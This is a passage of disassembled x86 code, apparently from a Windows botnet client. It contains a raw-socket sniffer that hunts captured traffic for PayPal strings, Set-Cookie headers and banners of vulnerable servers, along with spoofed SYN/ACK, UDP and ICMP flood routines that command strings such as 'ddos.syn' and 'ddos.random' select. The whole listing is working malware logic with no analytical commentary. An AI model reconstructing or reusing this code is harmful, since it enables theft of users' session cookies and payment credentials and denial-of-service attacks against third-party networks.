; "PAYPAL.COM" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com_0 ; "paypal.com" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aSetCookie ; "Set-Cookie:" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413100 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_413187(char *Str) sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aVulnSniff ; "VULN sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4131A1 loc_41319D: ; CODE XREF: sub_413187+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4131A1: ; CODE XREF: sub_413187+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41319D push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4131C7 loc_4131C3: ; CODE XREF: sub_413187+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4131C7: ; CODE XREF: sub_413187+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4131C3 push offset aOpenssh_2 ; "OpenSSH_2" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o Dst = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h Str = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h Dest = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB9E8 ; gethostname lea eax, [ebp+var_3B8] push eax call dword_4CBA58 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx ; Size push dword ptr [eax] ; Src lea eax, [ebp+var_8] push eax ; Dst call _memcpy mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413292 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413292: ; CODE XREF: sub_4131EC+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jnz short loc_413308 call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_437870 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132E4 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409869 add esp, 14h loc_4132E4: ; CODE XREF: sub_4131EC+D6j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_34] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_413308: ; CODE XREF: sub_4131EC+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB980 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_41338E call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_437840 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41336A push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409869 add esp, 14h loc_41336A: ; CODE XREF: sub_4131EC+15Cj lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_34] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_41338E: ; CODE XREF: sub_4131EC+13Cj mov esi, 200h loc_413393: ; CODE XREF: sub_4131EC+1D6j ; sub_4131EC+1FBj ... mov edi, 0FFFFh lea eax, [ebp+Dst] push edi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push edi push eax push [ebp+var_10] call dword_4CB9EC ; recv cmp [ebp+var_113AF], 6 jnz short loc_413393 push [ebp+var_113A4] mov edi, ds:dword_4271CC call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413393 cmp [ebp+arg_0], 19h jz short loc_413393 cmp edi, 6Eh jz short loc_413393 cmp edi, 19h jz short loc_413393 push [ebp+var_113AC] call sub_412EDD pop ecx push dword ptr [eax] call ds:dword_4271D0 ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_6 ; "%s" push eax ; Dest call _sprintf push [ebp+var_113A8] call sub_412EDD add esp, 10h push dword ptr [eax] call ds:dword_4271D0 ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_6 ; "%s" push eax ; Dest call _sprintf lea eax, [ebp+Str] mov [ebp+var_4], ebx push eax ; Str call _strlen add esp, 10h test eax, eax jle short loc_413491 loc_41345D: ; CODE XREF: sub_4131EC+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+Str], 0Dh lea eax, [ebp+eax+Str] jnz short loc_413474 mov byte ptr [eax], 20h loc_413474: ; CODE XREF: sub_4131EC+283j cmp byte ptr [eax], 0Ah jnz short loc_41347C mov byte ptr [eax], 20h loc_41347C: ; CODE XREF: sub_4131EC+28Bj inc [ebp+var_4] lea eax, [ebp+Str] push eax ; Str call _strlen cmp [ebp+var_4], eax pop ecx jl short loc_41345D loc_413491: ; CODE XREF: sub_4131EC+26Fj cmp [ebp+arg_0], 50h jz loc_413544 cmp edi, 50h jz loc_413544 lea eax, [ebp+Str] push eax ; Str call sub_412EEC test al, al pop ecx jz short loc_4134D8 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43780C jmp loc_413573 ; --------------------------------------------------------------------------- loc_4134D8: ; CODE XREF: sub_4131EC+2C7j cmp edi, 50h jz short loc_413544 lea eax, [ebp+Str] push eax ; Str call sub_413003 test al, al pop ecx jz short loc_41350E lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377D8 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_41350E: ; CODE XREF: sub_4131EC+300j cmp edi, 50h jz short loc_413544 lea eax, [ebp+Str] push eax ; Str call sub_413079 test al, al pop ecx jz short loc_413544 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377A4 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_413544: ; CODE XREF: sub_4131EC+2A9j ; sub_4131EC+2B2j ... lea eax, [ebp+Str] push eax ; Str call sub_413100 test al, al pop ecx lea eax, [ebp+Str] push eax jz short loc_4135B1 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset asc_43776C ; "-" loc_413573: ; CODE XREF: sub_4131EC+2E7j ; sub_4131EC+320j ... lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413393 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409869 add esp, 14h jmp loc_413393 ; --------------------------------------------------------------------------- loc_4135B1: ; CODE XREF: sub_4131EC+36Ej call sub_413187 test al, al pop ecx jz loc_413393 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437734 jmp short loc_413573 sub_4131EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135DF proc near ; DATA XREF: sub_401ACD+6464o Dest = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_20C = byte ptr -20Ch var_18C = dword ptr -18Ch Str = byte ptr -10Ch Str1 = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 lea eax, [ebp+var_18C] push eax ; int lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+var_20C] push eax ; Str lea eax, [ebp+var_28C] push eax ; int call sub_4139CB add esp, 14h push eax lea eax, [ebp+Dest] push offset asc_43789C ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_413672 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_294] ; int call sub_409869 add esp, 14h loc_413672: ; CODE XREF: sub_4135DF+71j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_290] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_4135DF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_413694(int,int,char *Str1,int,int) sub_413694 proc near ; CODE XREF: sub_4139CB+40p var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h Dst = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str1 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 ; WSAStartup test eax, eax jz short loc_4136D4 xor eax, eax jmp loc_4139C7 ; --------------------------------------------------------------------------- loc_4136D4: ; CODE XREF: sub_413694+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4139BF push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4139B5 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB9D4 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB9D4 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB9D4 ; htons mov [ebp+var_12], ax call _rand movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB9D4 ; htons push 12345678h mov [ebp+var_14], ax call dword_4CB9D0 ; htonl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4137A4 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137A4: ; CODE XREF: sub_413694+105j push offset aDdos_ack ; "ddos.ack" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4137C0 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137C0: ; CODE XREF: sub_413694+121j push offset aDdos_random ; "ddos.random" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4137F8 call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137F8: ; CODE XREF: sub_413694+10Ej ; sub_413694+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB9D4 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+Str1], ebx call ds:dword_42713C ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call ds:dword_427138 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call __allmul add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413846: ; CODE XREF: sub_413694+2E2j ; sub_413694+2F0j mov [ebp+var_4], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 ; htons mov [ebp+var_14], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call dword_4CB9D4 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] push esi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] push esi ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz short loc_413989 add [ebp+Str1], eax lea eax, [ebp+var_1C] push eax call ds:dword_427138 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4139B2 jl loc_413846 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4139B2 jmp loc_413846 ; --------------------------------------------------------------------------- loc_413989: ; CODE XREF: sub_413694+2CBj call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_4378C4 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 10h jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139B2: ; CODE XREF: sub_413694+2E0j ; sub_413694+2EEj mov ebx, [ebp+Str1] loc_4139B5: ; CODE XREF: sub_413694+78j ; sub_413694+31Cj push [ebp+var_20] call dword_4CBA6C ; closesocket pop esi loc_4139BF: ; CODE XREF: sub_413694+5Bj call dword_4CB92C ; WSACleanup mov eax, ebx loc_4139C7: ; CODE XREF: sub_413694+3Bj pop edi pop ebx leave retn sub_413694 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4139CB(int,char *Str,char *Str1,int) sub_4139CB proc near ; CODE XREF: sub_4135DF+4Fp arg_0 = dword ptr 4 Str = dword ptr 8 Str1 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A8F0 push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_C] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi ; int idiv ecx push ebx ; int push [esp+20h+Str1] ; Str1 lea eax, [edx+esi+100h] push eax ; int push esi ; int call sub_413694 add esp, 20h test eax, eax jnz short loc_413A1A push 1 pop eax loc_413A1A: ; CODE XREF: sub_4139CB+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4139CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A29 proc near ; DATA XREF: sub_401ACD+6643o Dest = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h Str = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_413AC4 call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_4379C4 ; "-" push eax ; Dest call _sprintf xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413AA7 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409869 add esp, 14h loc_413AA7: ; CODE XREF: sub_413A29+5Cj lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call ds:dword_4270D4 ; ExitThread loc_413AC4: ; CODE XREF: sub_413A29+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_413B3B call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_437994 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413B1E push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409869 add esp, 14h loc_413B1E: ; CODE XREF: sub_413A29+D3j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call ds:dword_4270D4 ; ExitThread loc_413B3B: ; CODE XREF: sub_413A29+B3j lea eax, [ebp+var_1B8] push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_413BA2 lea eax, [ebp+Dest] push offset asc_437974 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_413B85 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409869 add esp, 14h loc_413B85: ; CODE XREF: sub_413A29+13Aj lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call ds:dword_4270D4 ; ExitThread loc_413BA2: ; CODE XREF: sub_413A29+122j push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push edi call dword_4CB9D4 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_4CBA14 ; inet_addr mov esi, ds:dword_4270B0 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_413BE0: ; CODE XREF: sub_413A29+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_413D8B push 41Ch mov byte_4CE740, 45h call dword_4CB9D4 ; htons cmp [ebp+var_2C], edi mov word_4CE742, ax mov word_4CE744, bx mov word_4CE746, di mov byte_4CE748, 80h mov byte_4CE749, bl mov word_4CE74A, di jz short loc_413C66 call _rand mov ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax push 1 mov dword_4CE74C, ebx pop ebx jmp short loc_413C7E ; --------------------------------------------------------------------------- loc_413C66: ; CODE XREF: sub_413A29+20Bj push [ebp+var_1BC] call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr mov dword_4CE74C, eax loc_413C7E: ; CODE XREF: sub_413A29+23Bj mov eax, [ebp+var_18] mov dword_4CE750, eax call _rand cdq mov ecx, 100h idiv ecx mov byte_4CE754, dl call _rand cdq mov ecx, 100h idiv ecx mov byte_4CE755, dl call _rand cdq mov ecx, 0F0h push 400h ; Size idiv ecx mov word_4CE756, di mov word_4CE75A, bx inc edx mov word_4CE758, dx call _rand cdq mov ecx, 0FFh idiv ecx push edx ; Val push offset dword_4CE75C ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 10h push eax push edi push 41Ch push offset byte_4CE740 push [ebp+var_4] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz short loc_413D16 inc [ebp+arg_0] jmp loc_413BE0 ; --------------------------------------------------------------------------- loc_413D16: ; CODE XREF: sub_413A29+2E3j push [ebp+var_4] call dword_4CBA6C ; closesocket call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset asc_43792C ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_24], edi jnz short loc_413D6E push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409869 add esp, 14h loc_413D6E: ; CODE XREF: sub_413A29+323j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call ds:dword_4270D4 ; ExitThread loc_413D8B: ; CODE XREF: sub_413A29+1C8j push [ebp+var_4] call dword_4CBA6C ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+Dest] push offset asc_4378E0 ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_413DF3 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409869 add esp, 14h loc_413DF3: ; CODE XREF: sub_413A29+3A8j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call ds:dword_4270D4 ; ExitThread sub_413A29 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E10 proc near ; DATA XREF: sub_401ACD+542Do var_10320 = byte ptr -10320h Dest = byte ptr -344h var_144 = dword ptr -144h Str = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Dst = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_4CB95C ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_4CBA14 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_413E6B lea eax, [ebp+var_C0] push eax call dword_4CBA58 ; gethostbyname cmp eax, ebx jz short loc_413E71 loc_413E6B: ; CODE XREF: sub_413E10+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_413ECE loc_413E71: ; CODE XREF: sub_413E10+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset asc_437A1C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413EB1 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_409869 add esp, 14h loc_413EB1: ; CODE XREF: sub_413E10+7Fj lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_30] call sub_40B6D6 pop ecx pop ecx push edi call ds:dword_4270D4 ; ExitThread loc_413ECE: ; CODE XREF: sub_413E10+5Fj cmp eax, ebx jz short loc_413EDE mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_413EE1 ; --------------------------------------------------------------------------- loc_413EDE: ; CODE XREF: sub_413E10+C0j mov [ebp+var_4], esi loc_413EE1: ; CODE XREF: sub_413E10+CCj push 1Ch ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_413F01 mov [ebp+var_3C], eax loc_413F01: ; CODE XREF: sub_413E10+ECj cmp [ebp+var_38], edi jge short loc_413F09 mov [ebp+var_38], edi loc_413F09: ; CODE XREF: sub_413E10+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_413F36 loc_413F10: ; CODE XREF: sub_413E10+124j push [ebp+var_38] lea eax, [ebp+Dst] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4CB8EC ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_413F10 loc_413F36: ; CODE XREF: sub_413E10+FEj push [ebp+arg_0] call dword_4CBA8C ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset asc_4379F0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413F7F push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_409869 add esp, 14h loc_413F7F: ; CODE XREF: sub_413E10+14Dj lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_30] call sub_40B6D6 pop ecx pop ecx push ebx call ds:dword_4270D4 ; ExitThread sub_413E10 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F9C proc near ; DATA XREF: sub_401ACD+5679o var_10311 = byte ptr -10311h var_10310 = byte ptr -10310h Dest = byte ptr -334h var_134 = dword ptr -134h Str = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword 